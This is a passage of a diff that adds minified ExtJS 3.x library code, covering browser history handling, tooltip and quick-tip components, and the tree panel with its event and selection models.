{}) + } + }, unbind:function (b) { + this.bindStore(null) + }, bind:function (b) { + this.bindStore(b) + }, onDestroy:function () { + this.bindStore(null); + Ext.PagingToolbar.superclass.onDestroy.call(this) + }}) +})(); +Ext.reg("paging", Ext.PagingToolbar); +Ext.History = (function () { + var e, c; + var k = false; + var d; + + function g() { + var l = location.href, m = l.indexOf("#"), n = m >= 0 ? l.substr(m + 1) : null; + if (Ext.isGecko) { + n = decodeURIComponent(n) + } + return n + } + + function a() { + c.value = d + } + + function h(l) { + d = l; + Ext.History.fireEvent("change", l) + } + + function i(m) { + var l = ['
    ', Ext.util.Format.htmlEncode(m), "
    "].join(""); + try { + var o = e.contentWindow.document; + o.open(); + o.write(l); + o.close(); + return true + } catch (n) { + return false + } + } + + function b() { + if (!e.contentWindow || !e.contentWindow.document) { + setTimeout(b, 10); + return + } + var o = e.contentWindow.document; + var m = o.getElementById("state"); + var l = m ? m.innerText : null; + var n = g(); + setInterval(function () { + o = e.contentWindow.document; + m = o.getElementById("state"); + var q = m ? m.innerText : null; + var p = g(); + if (q !== l) { + l = q; + h(l); + location.hash = l; + n = l; + a() + } else { + if (p !== n) { + n = p; + i(p) + } + } + }, 50); + k = true; + Ext.History.fireEvent("ready", Ext.History) + } + + function j() { + d = c.value ? c.value : g(); + if (Ext.isIE) { + b() + } else { + var l = g(); + setInterval(function () { + var m = g(); + if (m !== l) { + l = m; + h(l); + a() + } + }, 50); + k = true; + Ext.History.fireEvent("ready", Ext.History) + } + } + + return{fieldId:"x-history-field", iframeId:"x-history-frame", events:{}, init:function (m, l) { + if (k) { + Ext.callback(m, l, [this]); + return + } + if (!Ext.isReady) { + Ext.onReady(function () { + Ext.History.init(m, l) + }); + return + } + c = Ext.getDom(Ext.History.fieldId); + if (Ext.isIE) { + e = Ext.getDom(Ext.History.iframeId) + } + this.addEvents("ready", "change"); + if (m) { + this.on("ready", m, l, {single:true}) + } + j() + }, add:function (l, m) { + if (m !== false) { + if (this.getToken() == l) { + return true + } + } + if (Ext.isIE) { + return i(l) + } else { + location.hash = l; + return true + } + }, back:function () { + history.go(-1) + }, forward:function () { + history.go(1) + }, getToken:function () { + return k ? d : g() + }} +})(); +Ext.apply(Ext.History, new Ext.util.Observable()); +Ext.Tip = Ext.extend(Ext.Panel, {minWidth:40, maxWidth:300, shadow:"sides", defaultAlign:"tl-bl?", autoRender:true, quickShowInterval:250, frame:true, hidden:true, baseCls:"x-tip", floating:{shadow:true, shim:true, useDisplay:true, constrain:false}, autoHeight:true, closeAction:"hide", initComponent:function () { + Ext.Tip.superclass.initComponent.call(this); + if (this.closable && !this.title) { + this.elements += ",header" + } +}, afterRender:function () { + Ext.Tip.superclass.afterRender.call(this); + if (this.closable) { + this.addTool({id:"close", handler:this[this.closeAction], scope:this}) + } +}, showAt:function (a) { + Ext.Tip.superclass.show.call(this); + if (this.measureWidth !== false && (!this.initialConfig || typeof this.initialConfig.width != "number")) { + this.doAutoWidth() + } + if (this.constrainPosition) { + a = this.el.adjustForConstraints(a) + } + this.setPagePosition(a[0], a[1]) +}, doAutoWidth:function (a) { + a = a || 0; + var b = this.body.getTextWidth(); + if (this.title) { + b = Math.max(b, this.header.child("span").getTextWidth(this.title)) + } + b += this.getFrameWidth() + (this.closable ? 20 : 0) + this.body.getPadding("lr") + a; + this.setWidth(b.constrain(this.minWidth, this.maxWidth)); + if (Ext.isIE7 && !this.repainted) { + this.el.repaint(); + this.repainted = true + } +}, showBy:function (a, b) { + if (!this.rendered) { + this.render(Ext.getBody()) + } + this.showAt(this.el.getAlignToXY(a, b || this.defaultAlign)) +}, initDraggable:function () { + this.dd = new Ext.Tip.DD(this, typeof this.draggable == "boolean" ? null : this.draggable); + this.header.addClass("x-tip-draggable") +}}); +Ext.reg("tip", Ext.Tip); +Ext.Tip.DD = function (b, a) { + Ext.apply(this, a); + this.tip = b; + Ext.Tip.DD.superclass.constructor.call(this, b.el.id, "WindowDD-" + b.id); + this.setHandleElId(b.header.id); + this.scroll = false +}; +Ext.extend(Ext.Tip.DD, Ext.dd.DD, {moveOnly:true, scroll:false, headerOffsets:[100, 25], startDrag:function () { + this.tip.el.disableShadow() +}, endDrag:function (a) { + this.tip.el.enableShadow(true) +}}); +Ext.ToolTip = Ext.extend(Ext.Tip, {showDelay:500, hideDelay:200, dismissDelay:5000, trackMouse:false, anchorToTarget:true, anchorOffset:0, targetCounter:0, constrainPosition:false, initComponent:function () { + Ext.ToolTip.superclass.initComponent.call(this); + this.lastActive = new Date(); + this.initTarget(this.target); + this.origAnchor = this.anchor +}, onRender:function (b, a) { + Ext.ToolTip.superclass.onRender.call(this, b, a); + this.anchorCls = "x-tip-anchor-" + this.getAnchorPosition(); + this.anchorEl = this.el.createChild({cls:"x-tip-anchor " + this.anchorCls}) +}, afterRender:function () { + Ext.ToolTip.superclass.afterRender.call(this); + this.anchorEl.setStyle("z-index", this.el.getZIndex() + 1).setVisibilityMode(Ext.Element.DISPLAY) +}, initTarget:function (c) { + var a; + if ((a = Ext.get(c))) { + if (this.target) { + var b = Ext.get(this.target); + this.mun(b, "mouseover", this.onTargetOver, this); + this.mun(b, "mouseout", this.onTargetOut, this); + this.mun(b, "mousemove", this.onMouseMove, this) + } + this.mon(a, {mouseover:this.onTargetOver, mouseout:this.onTargetOut, mousemove:this.onMouseMove, scope:this}); + this.target = a + } + if (this.anchor) { + this.anchorTarget = this.target + } +}, onMouseMove:function (b) { + var a = this.delegate ? b.getTarget(this.delegate) : this.triggerElement = true; + if (a) { + this.targetXY = b.getXY(); + if (a === this.triggerElement) { + if (!this.hidden && this.trackMouse) { + this.setPagePosition(this.getTargetXY()) + } + } else { + this.hide(); + this.lastActive = new Date(0); + this.onTargetOver(b) + } + } else { + if (!this.closable && this.isVisible()) { + this.hide() + } + } +}, getTargetXY:function () { + if (this.delegate) { + this.anchorTarget = this.triggerElement + } + if (this.anchor) { + this.targetCounter++; + var c = this.getOffsets(), l = (this.anchorToTarget && !this.trackMouse) ? this.el.getAlignToXY(this.anchorTarget, this.getAnchorAlign()) : this.targetXY, a = Ext.lib.Dom.getViewWidth() - 5, h = Ext.lib.Dom.getViewHeight() - 5, i = document.documentElement, e = document.body, k = (i.scrollLeft || e.scrollLeft || 0) + 5, j = (i.scrollTop || e.scrollTop || 0) + 5, b = [l[0] + c[0], l[1] + c[1]], g = this.getSize(); + this.anchorEl.removeClass(this.anchorCls); + if (this.targetCounter < 2) { + if (b[0] < k) { + if (this.anchorToTarget) { + this.defaultAlign = "l-r"; + if (this.mouseOffset) { + this.mouseOffset[0] *= -1 + } + } + this.anchor = "left"; + return this.getTargetXY() + } + if (b[0] + g.width > a) { + if (this.anchorToTarget) { + this.defaultAlign = "r-l"; + if (this.mouseOffset) { + this.mouseOffset[0] *= -1 + } + } + this.anchor = "right"; + return this.getTargetXY() + } + if (b[1] < j) { + if (this.anchorToTarget) { + this.defaultAlign = "t-b"; + if (this.mouseOffset) { + this.mouseOffset[1] *= -1 + } + } + this.anchor = "top"; + return this.getTargetXY() + } + if (b[1] + g.height > h) { + if (this.anchorToTarget) { + this.defaultAlign = "b-t"; + if (this.mouseOffset) { + this.mouseOffset[1] *= -1 + } + } + this.anchor = "bottom"; + return this.getTargetXY() + } + } + this.anchorCls = "x-tip-anchor-" + this.getAnchorPosition(); + this.anchorEl.addClass(this.anchorCls); + this.targetCounter = 0; + return b + } else { + var d = this.getMouseOffset(); + return[this.targetXY[0] + d[0], this.targetXY[1] + d[1]] + } +}, getMouseOffset:function () { + var a = this.anchor ? [0, 0] : [15, 18]; + if (this.mouseOffset) { + a[0] += this.mouseOffset[0]; + a[1] += this.mouseOffset[1] + } + return a +}, getAnchorPosition:function () { + if (this.anchor) { + this.tipAnchor = this.anchor.charAt(0) + } else { + var a = this.defaultAlign.match(/^([a-z]+)-([a-z]+)(\?)?$/); + if (!a) { + throw"AnchorTip.defaultAlign is invalid" + } + this.tipAnchor = a[1].charAt(0) + } + switch (this.tipAnchor) { + case"t": + return"top"; + case"b": + return"bottom"; + case"r": + return"right" + } + return"left" +}, getAnchorAlign:function () { + switch (this.anchor) { + case"top": + return"tl-bl"; + case"left": + return"tl-tr"; + case"right": + return"tr-tl"; + default: + return"bl-tl" + } +}, getOffsets:function () { + var b, a = this.getAnchorPosition().charAt(0); + if (this.anchorToTarget && !this.trackMouse) { + switch (a) { + case"t": + b = [0, 9]; + break; + case"b": + b = [0, -13]; + break; + case"r": + b = [-13, 0]; + break; + default: + b = [9, 0]; + break + } + } else { + switch (a) { + case"t": + b = [-15 - this.anchorOffset, 30]; + break; + case"b": + b = [-19 - this.anchorOffset, -13 - this.el.dom.offsetHeight]; + break; + case"r": + b = [-15 - this.el.dom.offsetWidth, -13 - this.anchorOffset]; + break; + default: + b = [25, -13 - this.anchorOffset]; + break + } + } + var c = this.getMouseOffset(); + b[0] += c[0]; + b[1] += c[1]; + return b +}, onTargetOver:function (b) { + if (this.disabled || b.within(this.target.dom, true)) { + return + } + var a = b.getTarget(this.delegate); + if (a) { + this.triggerElement = a; + this.clearTimer("hide"); + this.targetXY = b.getXY(); + this.delayShow() + } +}, delayShow:function () { + if (this.hidden && !this.showTimer) { + if (this.lastActive.getElapsed() < this.quickShowInterval) { + this.show() + } else { + this.showTimer = this.show.defer(this.showDelay, this) + } + } else { + if (!this.hidden && this.autoHide !== false) { + this.show() + } + } +}, onTargetOut:function (a) { + if (this.disabled || a.within(this.target.dom, true)) { + return + } + this.clearTimer("show"); + if (this.autoHide !== false) { + this.delayHide() + } +}, delayHide:function () { + if (!this.hidden && !this.hideTimer) { + this.hideTimer = this.hide.defer(this.hideDelay, this) + } +}, hide:function () { + this.clearTimer("dismiss"); + this.lastActive = new Date(); + if (this.anchorEl) { + this.anchorEl.hide() + } + Ext.ToolTip.superclass.hide.call(this); + delete this.triggerElement +}, show:function () { + if (this.anchor) { + this.showAt([-1000, -1000]); + this.origConstrainPosition = this.constrainPosition; + this.constrainPosition = false; + this.anchor = this.origAnchor + } + this.showAt(this.getTargetXY()); + if (this.anchor) { + this.anchorEl.show(); + this.syncAnchor(); + this.constrainPosition = this.origConstrainPosition + } else { + this.anchorEl.hide() + } +}, showAt:function (a) { + this.lastActive = new Date(); + this.clearTimers(); + Ext.ToolTip.superclass.showAt.call(this, a); + if (this.dismissDelay && this.autoHide !== false) { + this.dismissTimer = this.hide.defer(this.dismissDelay, this) + } + if (this.anchor && !this.anchorEl.isVisible()) { + this.syncAnchor(); + this.anchorEl.show() + } else { + this.anchorEl.hide() + } +}, syncAnchor:function () { + var a, b, c; + switch (this.tipAnchor.charAt(0)) { + case"t": + a = "b"; + b = "tl"; + c = [20 + this.anchorOffset, 2]; + break; + case"r": + a = "l"; + b = "tr"; + c = [-2, 11 + this.anchorOffset]; + break; + case"b": + a = "t"; + b = "bl"; + c = [20 + this.anchorOffset, -2]; + break; + default: + a = "r"; + b = "tl"; + c = [2, 11 + this.anchorOffset]; + break + } + this.anchorEl.alignTo(this.el, a + "-" + b, c) +}, setPagePosition:function (a, b) { + Ext.ToolTip.superclass.setPagePosition.call(this, a, b); + if (this.anchor) { + this.syncAnchor() + } +}, clearTimer:function (a) { + a = a + "Timer"; + clearTimeout(this[a]); + delete this[a] +}, clearTimers:function () { + this.clearTimer("show"); + this.clearTimer("dismiss"); + this.clearTimer("hide") +}, onShow:function () { + Ext.ToolTip.superclass.onShow.call(this); + Ext.getDoc().on("mousedown", this.onDocMouseDown, this) +}, onHide:function () { + Ext.ToolTip.superclass.onHide.call(this); + Ext.getDoc().un("mousedown", this.onDocMouseDown, this) +}, onDocMouseDown:function (a) { + if (this.autoHide !== true && !this.closable && !a.within(this.el.dom)) { + this.disable(); + this.doEnable.defer(100, this) + } +}, doEnable:function () { + if (!this.isDestroyed) { + this.enable() + } +}, onDisable:function () { + this.clearTimers(); + this.hide() +}, adjustPosition:function (a, d) { + if (this.constrainPosition) { + var c = this.targetXY[1], b = this.getSize().height; + if (d <= c && (d + b) >= c) { + d = c - b - 5 + } + } + return{x:a, y:d} +}, beforeDestroy:function () { + this.clearTimers(); + Ext.destroy(this.anchorEl); + delete this.anchorEl; + delete this.target; + delete this.anchorTarget; + delete this.triggerElement; + Ext.ToolTip.superclass.beforeDestroy.call(this) +}, onDestroy:function () { + Ext.getDoc().un("mousedown", this.onDocMouseDown, this); + Ext.ToolTip.superclass.onDestroy.call(this) +}}); +Ext.reg("tooltip", Ext.ToolTip); +Ext.QuickTip = Ext.extend(Ext.ToolTip, {interceptTitles:false, tagConfig:{namespace:"ext", attribute:"qtip", width:"qwidth", target:"target", title:"qtitle", hide:"hide", cls:"qclass", align:"qalign", anchor:"anchor"}, initComponent:function () { + this.target = this.target || Ext.getDoc(); + this.targets = this.targets || {}; + Ext.QuickTip.superclass.initComponent.call(this) +}, register:function (e) { + var h = Ext.isArray(e) ? e : arguments; + for (var g = 0, a = h.length; g < a; g++) { + var l = h[g]; + var k = l.target; + if (k) { + if (Ext.isArray(k)) { + for (var d = 0, b = k.length; d < b; d++) { + this.targets[Ext.id(k[d])] = l + } + } else { + this.targets[Ext.id(k)] = l + } + } + } +}, unregister:function (a) { + delete this.targets[Ext.id(a)] +}, cancelShow:function (b) { + var a = this.activeTarget; + b = Ext.get(b).dom; + if (this.isVisible()) { + if (a && a.el == b) { + this.hide() + } + } else { + if (a && a.el == b) { + this.clearTimer("show") + } + } +}, getTipCfg:function (d) { + var b = d.getTarget(), c, a; + if (this.interceptTitles && b.title && Ext.isString(b.title)) { + c = b.title; + b.qtip = c; + b.removeAttribute("title"); + d.preventDefault() + } else { + a = this.tagConfig; + c = b.qtip || Ext.fly(b).getAttribute(a.attribute, a.namespace) + } + return c +}, onTargetOver:function (i) { + if (this.disabled) { + return + } + this.targetXY = i.getXY(); + var c = i.getTarget(); + if (!c || c.nodeType !== 1 || c == document || c == document.body) { + return + } + if (this.activeTarget && ((c == this.activeTarget.el) || Ext.fly(this.activeTarget.el).contains(c))) { + this.clearTimer("hide"); + this.show(); + return + } + if (c && this.targets[c.id]) { + this.activeTarget = this.targets[c.id]; + this.activeTarget.el = c; + this.anchor = this.activeTarget.anchor; + if (this.anchor) { + this.anchorTarget = c + } + this.delayShow(); + return + } + var g, h = Ext.fly(c), b = this.tagConfig, d = b.namespace; + if (g = this.getTipCfg(i)) { + var a = h.getAttribute(b.hide, d); + this.activeTarget = {el:c, text:g, width:h.getAttribute(b.width, d), autoHide:a != "user" && a !== "false", title:h.getAttribute(b.title, d), cls:h.getAttribute(b.cls, d), align:h.getAttribute(b.align, d)}; + this.anchor = h.getAttribute(b.anchor, d); + if (this.anchor) { + this.anchorTarget = c + } + this.delayShow() + } +}, onTargetOut:function (a) { + if (this.activeTarget && a.within(this.activeTarget.el) && !this.getTipCfg(a)) { + return + } + this.clearTimer("show"); + if (this.autoHide !== false) { + this.delayHide() + } +}, showAt:function (b) { + var a = this.activeTarget; + if (a) { + if (!this.rendered) { + this.render(Ext.getBody()); + this.activeTarget = a + } + if (a.width) { + this.setWidth(a.width); + this.body.setWidth(this.adjustBodyWidth(a.width - this.getFrameWidth())); + this.measureWidth = false + } else { + this.measureWidth = true + } + this.setTitle(a.title || ""); + this.body.update(a.text); + this.autoHide = a.autoHide; + this.dismissDelay = a.dismissDelay || this.dismissDelay; + if (this.lastCls) { + this.el.removeClass(this.lastCls); + delete this.lastCls + } + if (a.cls) { + this.el.addClass(a.cls); + this.lastCls = a.cls + } + if (this.anchor) { + this.constrainPosition = false + } else { + if (a.align) { + b = this.el.getAlignToXY(a.el, a.align); + this.constrainPosition = false + } else { + this.constrainPosition = true + } + } + } + Ext.QuickTip.superclass.showAt.call(this, b) +}, hide:function () { + delete this.activeTarget; + Ext.QuickTip.superclass.hide.call(this) +}}); +Ext.reg("quicktip", Ext.QuickTip); +Ext.QuickTips = function () { + var b, a = false; + return{init:function (c) { + if (!b) { + if (!Ext.isReady) { + Ext.onReady(function () { + Ext.QuickTips.init(c) + }); + return + } + b = new Ext.QuickTip({elements:"header,body", disabled:a}); + if (c !== false) { + b.render(Ext.getBody()) + } + } + }, ddDisable:function () { + if (b && !a) { + b.disable() + } + }, ddEnable:function () { + if (b && !a) { + b.enable() + } + }, enable:function () { + if (b) { + b.enable() + } + a = false + }, disable:function () { + if (b) { + b.disable() + } + a = true + }, isEnabled:function () { + return b !== undefined && !b.disabled + }, getQuickTip:function () { + return b + }, register:function () { + b.register.apply(b, arguments) + }, unregister:function () { + b.unregister.apply(b, arguments) + }, tips:function () { + b.register.apply(b, arguments) + }} +}(); +Ext.slider.Tip = Ext.extend(Ext.Tip, {minWidth:10, offsets:[0, -10], init:function (a) { + a.on({scope:this, dragstart:this.onSlide, drag:this.onSlide, dragend:this.hide, destroy:this.destroy}) +}, onSlide:function (b, c, a) { + this.show(); + this.body.update(this.getText(a)); + this.doAutoWidth(); + this.el.alignTo(a.el, "b-t?", this.offsets) +}, getText:function (a) { + return String(a.value) +}}); +Ext.ux.SliderTip = Ext.slider.Tip; +Ext.tree.TreePanel = Ext.extend(Ext.Panel, {rootVisible:true, animate:Ext.enableFx, lines:true, enableDD:false, hlDrop:Ext.enableFx, pathSeparator:"/", bubbleEvents:[], initComponent:function () { + Ext.tree.TreePanel.superclass.initComponent.call(this); + if (!this.eventModel) { + this.eventModel = new Ext.tree.TreeEventModel(this) + } + var a = this.loader; + if (!a) { + a = new Ext.tree.TreeLoader({dataUrl:this.dataUrl, requestMethod:this.requestMethod}) + } else { + if (Ext.isObject(a) && !a.load) { + a = new Ext.tree.TreeLoader(a) + } + } + this.loader = a; + this.nodeHash = {}; + if (this.root) { + var b = this.root; + delete this.root; + this.setRootNode(b) + } + this.addEvents("append", "remove", "movenode", "insert", "beforeappend", "beforeremove", "beforemovenode", "beforeinsert", "beforeload", "load", "textchange", "beforeexpandnode", "beforecollapsenode", "expandnode", "disabledchange", "collapsenode", "beforeclick", "click", "containerclick", "checkchange", "beforedblclick", "dblclick", "containerdblclick", "contextmenu", "containercontextmenu", "beforechildrenrendered", "startdrag", "enddrag", "dragdrop", "beforenodedrop", "nodedrop", "nodedragover"); + if (this.singleExpand) { + this.on("beforeexpandnode", this.restrictExpand, this) + } +}, proxyNodeEvent:function (c, b, a, h, g, e, d) { + if (c == "collapse" || c == "expand" || c == "beforecollapse" || c == "beforeexpand" || c == "move" || c == "beforemove") { + c = c + "node" + } + return this.fireEvent(c, b, a, h, g, e, d) +}, getRootNode:function () { + return this.root +}, setRootNode:function (b) { + this.destroyRoot(); + if (!b.render) { + b = this.loader.createNode(b) + } + this.root = b; + b.ownerTree = this; + b.isRoot = true; + this.registerNode(b); + if (!this.rootVisible) { + var a = b.attributes.uiProvider; + b.ui = a ? new a(b) : new Ext.tree.RootTreeNodeUI(b) + } + if (this.innerCt) { + this.clearInnerCt(); + this.renderRoot() + } + return b +}, clearInnerCt:function () { + this.innerCt.update("") +}, renderRoot:function () { + this.root.render(); + if (!this.rootVisible) { + this.root.renderChildren() + } +}, getNodeById:function (a) { + return this.nodeHash[a] +}, registerNode:function (a) { + this.nodeHash[a.id] = a +}, unregisterNode:function (a) { + delete this.nodeHash[a.id] +}, toString:function () { + return"[Tree" + (this.id ? " " + this.id : "") + "]" +}, restrictExpand:function (a) { + var b = a.parentNode; + if (b) { + if (b.expandedChild && b.expandedChild.parentNode == b) { + b.expandedChild.collapse() + } + b.expandedChild = a + } +}, getChecked:function (b, c) { + c = c || this.root; + var d = []; + var e = function () { + if (this.attributes.checked) { + d.push(!b ? this : (b == "id" ? this.id : this.attributes[b])) + } + }; + c.cascade(e); + return d +}, getLoader:function () { + return this.loader +}, expandAll:function () { + this.root.expand(true) +}, collapseAll:function () { + this.root.collapse(true) +}, getSelectionModel:function () { + if (!this.selModel) { + this.selModel = new Ext.tree.DefaultSelectionModel() + } + return this.selModel +}, expandPath:function (g, a, h) { + if (Ext.isEmpty(g)) { + if (h) { + h(false, undefined) + } + return + } + a = a || "id"; + var d = g.split(this.pathSeparator); + var c = this.root; + if (c.attributes[a] != d[1]) { + if (h) { + h(false, null) + } + return + } + var b = 1; + var e = function () { + if (++b == d.length) { + if (h) { + h(true, c) + } + return + } + var i = c.findChild(a, d[b]); + if (!i) { + if (h) { + h(false, c) + } + return + } + c = i; + i.expand(false, false, e) + }; + c.expand(false, false, e) +}, selectPath:function (e, a, g) { + if (Ext.isEmpty(e)) { + if (g) { + g(false, undefined) + } + return + } + a = a || "id"; + var c = e.split(this.pathSeparator), b = c.pop(); + if (c.length > 1) { + var d = function (i, h) { + if (i && h) { + var j = h.findChild(a, b); + if (j) { + j.select(); + if (g) { + g(true, j) + } + } else { + if (g) { + g(false, j) + } + } + } else { + if (g) { + g(false, j) + } + } + }; + this.expandPath(c.join(this.pathSeparator), a, d) + } else { + this.root.select(); + if (g) { + g(true, this.root) + } + } +}, getTreeEl:function () { + return this.body +}, onRender:function (b, a) { + Ext.tree.TreePanel.superclass.onRender.call(this, b, a); + this.el.addClass("x-tree"); + this.innerCt = this.body.createChild({tag:"ul", cls:"x-tree-root-ct " + (this.useArrows ? "x-tree-arrows" : this.lines ? "x-tree-lines" : "x-tree-no-lines")}) +}, initEvents:function () { + Ext.tree.TreePanel.superclass.initEvents.call(this); + if (this.containerScroll) { + Ext.dd.ScrollManager.register(this.body) + } + if ((this.enableDD || this.enableDrop) && !this.dropZone) { + this.dropZone = new Ext.tree.TreeDropZone(this, this.dropConfig || {ddGroup:this.ddGroup || "TreeDD", appendOnly:this.ddAppendOnly === true}) + } + if ((this.enableDD || this.enableDrag) && !this.dragZone) { + this.dragZone = new Ext.tree.TreeDragZone(this, this.dragConfig || {ddGroup:this.ddGroup || "TreeDD", scroll:this.ddScroll}) + } + this.getSelectionModel().init(this) +}, afterRender:function () { + Ext.tree.TreePanel.superclass.afterRender.call(this); + this.renderRoot() +}, beforeDestroy:function () { + if (this.rendered) { + Ext.dd.ScrollManager.unregister(this.body); + Ext.destroy(this.dropZone, this.dragZone) + } + this.destroyRoot(); + Ext.destroy(this.loader); + this.nodeHash = this.root = this.loader = null; + Ext.tree.TreePanel.superclass.beforeDestroy.call(this) +}, destroyRoot:function () { + if (this.root && this.root.destroy) { + this.root.destroy(true) + } +}}); +Ext.tree.TreePanel.nodeTypes = {}; +Ext.reg("treepanel", Ext.tree.TreePanel); +Ext.tree.TreeEventModel = function (a) { + this.tree = a; + this.tree.on("render", this.initEvents, this) +}; +Ext.tree.TreeEventModel.prototype = {initEvents:function () { + var a = this.tree; + if (a.trackMouseOver !== false) { + a.mon(a.innerCt, {scope:this, mouseover:this.delegateOver, mouseout:this.delegateOut}) + } + a.mon(a.getTreeEl(), {scope:this, click:this.delegateClick, dblclick:this.delegateDblClick, contextmenu:this.delegateContextMenu}) +}, getNode:function (b) { + var a; + if (a = b.getTarget(".x-tree-node-el", 10)) { + var c = Ext.fly(a, "_treeEvents").getAttribute("tree-node-id", "ext"); + if (c) { + return this.tree.getNodeById(c) + } + } + return null +}, getNodeTarget:function (b) { + var a = b.getTarget(".x-tree-node-icon", 1); + if (!a) { + a = b.getTarget(".x-tree-node-el", 6) + } + return a +}, delegateOut:function (b, a) { + if (!this.beforeEvent(b)) { + return + } + if (b.getTarget(".x-tree-ec-icon", 1)) { + var c = this.getNode(b); + this.onIconOut(b, c); + if (c == this.lastEcOver) { + delete this.lastEcOver + } + } + if ((a = this.getNodeTarget(b)) && !b.within(a, true)) { + this.onNodeOut(b, this.getNode(b)) + } +}, delegateOver:function (b, a) { + if (!this.beforeEvent(b)) { + return + } + if (Ext.isGecko && !this.trackingDoc) { + Ext.getBody().on("mouseover", this.trackExit, this); + this.trackingDoc = true + } + if (this.lastEcOver) { + this.onIconOut(b, this.lastEcOver); + delete this.lastEcOver + } + if (b.getTarget(".x-tree-ec-icon", 1)) { + this.lastEcOver = this.getNode(b); + this.onIconOver(b, this.lastEcOver) + } + if (a = this.getNodeTarget(b)) { + this.onNodeOver(b, this.getNode(b)) + } +}, trackExit:function (a) { + if (this.lastOverNode) { + if (this.lastOverNode.ui && !a.within(this.lastOverNode.ui.getEl())) { + this.onNodeOut(a, this.lastOverNode) + } + delete this.lastOverNode; + Ext.getBody().un("mouseover", this.trackExit, this); + this.trackingDoc = false + } +}, delegateClick:function (b, a) { + if (this.beforeEvent(b)) { + if (b.getTarget("input[type=checkbox]", 1)) { + this.onCheckboxClick(b, this.getNode(b)) + } else { + if (b.getTarget(".x-tree-ec-icon", 1)) { + this.onIconClick(b, this.getNode(b)) + } else { + if (this.getNodeTarget(b)) { + this.onNodeClick(b, this.getNode(b)) + } + } + } + } else { + this.checkContainerEvent(b, "click") + } +}, delegateDblClick:function (b, a) { + if (this.beforeEvent(b)) { + if (this.getNodeTarget(b)) { + this.onNodeDblClick(b, this.getNode(b)) + } + } else { + this.checkContainerEvent(b, "dblclick") + } +}, delegateContextMenu:function (b, a) { + if (this.beforeEvent(b)) { + if (this.getNodeTarget(b)) { + this.onNodeContextMenu(b, this.getNode(b)) + } + } else { + this.checkContainerEvent(b, "contextmenu") + } +}, checkContainerEvent:function (b, a) { + if (this.disabled) { + b.stopEvent(); + return false + } + this.onContainerEvent(b, a) +}, onContainerEvent:function (b, a) { + this.tree.fireEvent("container" + a, this.tree, b) +}, onNodeClick:function (b, a) { + a.ui.onClick(b) +}, onNodeOver:function (b, a) { + this.lastOverNode = a; + a.ui.onOver(b) +}, onNodeOut:function (b, a) { + a.ui.onOut(b) +}, onIconOver:function (b, a) { + a.ui.addClass("x-tree-ec-over") +}, onIconOut:function (b, a) { + a.ui.removeClass("x-tree-ec-over") +}, onIconClick:function (b, a) { + a.ui.ecClick(b) +}, onCheckboxClick:function (b, a) { + a.ui.onCheckChange(b) +}, onNodeDblClick:function (b, a) { + a.ui.onDblClick(b) +}, onNodeContextMenu:function (b, a) { + a.ui.onContextMenu(b) +}, beforeEvent:function (b) { + var a = this.getNode(b); + if (this.disabled || !a || !a.ui) { + b.stopEvent(); + return false + } + return true +}, disable:function () { + this.disabled = true +}, enable:function () { + this.disabled = false +}}; +Ext.tree.DefaultSelectionModel = Ext.extend(Ext.util.Observable, {constructor:function (a) { + this.selNode = null; + this.addEvents("selectionchange", "beforeselect"); + Ext.apply(this, a); + Ext.tree.DefaultSelectionModel.superclass.constructor.call(this) +}, init:function (a) { + this.tree = a; + a.mon(a.getTreeEl(), "keydown", this.onKeyDown, this); + a.on("click", this.onNodeClick, this) +}, onNodeClick:function (a, b) { + this.select(a) +}, select:function (c, a) { + if (!Ext.fly(c.ui.wrap).isVisible() && a) { + return a.call(this, c) + } + var b = this.selNode; + if (c == b) { + c.ui.onSelectedChange(true) + } else { + if (this.fireEvent("beforeselect", this, c, b) !== false) { + if (b && b.ui) { + b.ui.onSelectedChange(false) + } + this.selNode = c; + c.ui.onSelectedChange(true); + this.fireEvent("selectionchange", this, c, b) + } + } + return c +}, unselect:function (b, a) { + if (this.selNode == b) { + this.clearSelections(a) + } +}, clearSelections:function (a) { + var b = this.selNode; + if (b) { + b.ui.onSelectedChange(false); + this.selNode = null; + if (a !== true) { + this.fireEvent("selectionchange", this, null) + } + } + return b +}, getSelectedNode:function () { + return this.selNode +}, isSelected:function (a) { + return this.selNode == a +}, selectPrevious:function (a) { + if (!(a = a || this.selNode || this.lastSelNode)) { + return null + } + var c = a.previousSibling; + if (c) { + if (!c.isExpanded() || c.childNodes.length < 1) { + return this.select(c, this.selectPrevious) + } else { + var b = c.lastChild; + while (b && b.isExpanded() && Ext.fly(b.ui.wrap).isVisible() && b.childNodes.length > 0) { + b = b.lastChild + } + return this.select(b, this.selectPrevious) + } + } else { + if (a.parentNode && (this.tree.rootVisible || !a.parentNode.isRoot)) { + return this.select(a.parentNode, this.selectPrevious) + } + } + return null +}, selectNext:function (b) { + if (!(b = b || this.selNode || this.lastSelNode)) { + return null + } + if (b.firstChild && b.isExpanded() && Ext.fly(b.ui.wrap).isVisible()) { + return this.select(b.firstChild, this.selectNext) + } else { + if (b.nextSibling) { + return this.select(b.nextSibling, this.selectNext) + } else { + if (b.parentNode) { + var a = null; + b.parentNode.bubble(function () { + if (this.nextSibling) { + a = this.getOwnerTree().selModel.select(this.nextSibling, this.selectNext); + return false + } + }); + return a + } + } + } + return null +}, onKeyDown:function (c) { + var b = this.selNode || this.lastSelNode; + var d = this; + if (!b) { + return + } + var a = c.getKey(); + switch (a) { + case c.DOWN: + c.stopEvent(); + this.selectNext(); + break; + case c.UP: + c.stopEvent(); + this.selectPrevious(); + break; + case c.RIGHT: + c.preventDefault(); + if (b.hasChildNodes()) { + if (!b.isExpanded()) { + b.expand() + } else { + if (b.firstChild) { + this.select(b.firstChild, c) + } + } + } + break; + case c.LEFT: + c.preventDefault(); + if (b.hasChildNodes() && b.isExpanded()) { + b.collapse() + } else { + if (b.parentNode && (this.tree.rootVisible || b.parentNode != this.tree.getRootNode())) { + this.select(b.parentNode, c) + } + } + break + } +}}); +Ext.tree.MultiSelectionModel = Ext.extend(Ext.util.Observable, {constructor:function (a) { + this.selNodes = []; + this.selMap = {}; + this.addEvents("selectionchange"); + Ext.apply(this, a); + Ext.tree.MultiSelectionModel.superclass.constructor.call(this) +}, init:function (a) { + this.tree = a; + a.mon(a.getTreeEl(), "keydown", this.onKeyDown, this); + a.on("click", this.onNodeClick, this) +}, onNodeClick:function (a, b) { + if (b.ctrlKey && this.isSelected(a)) { + this.unselect(a) + } else { + this.select(a, b, b.ctrlKey) + } +}, select:function (a, c, b) { + if (b !== true) { + this.clearSelections(true) + } + if (this.isSelected(a)) { + this.lastSelNode = a; + return a + } + this.selNodes.push(a); + this.selMap[a.id] = a; + this.lastSelNode = a; + a.ui.onSelectedChange(true); + this.fireEvent("selectionchange", this, 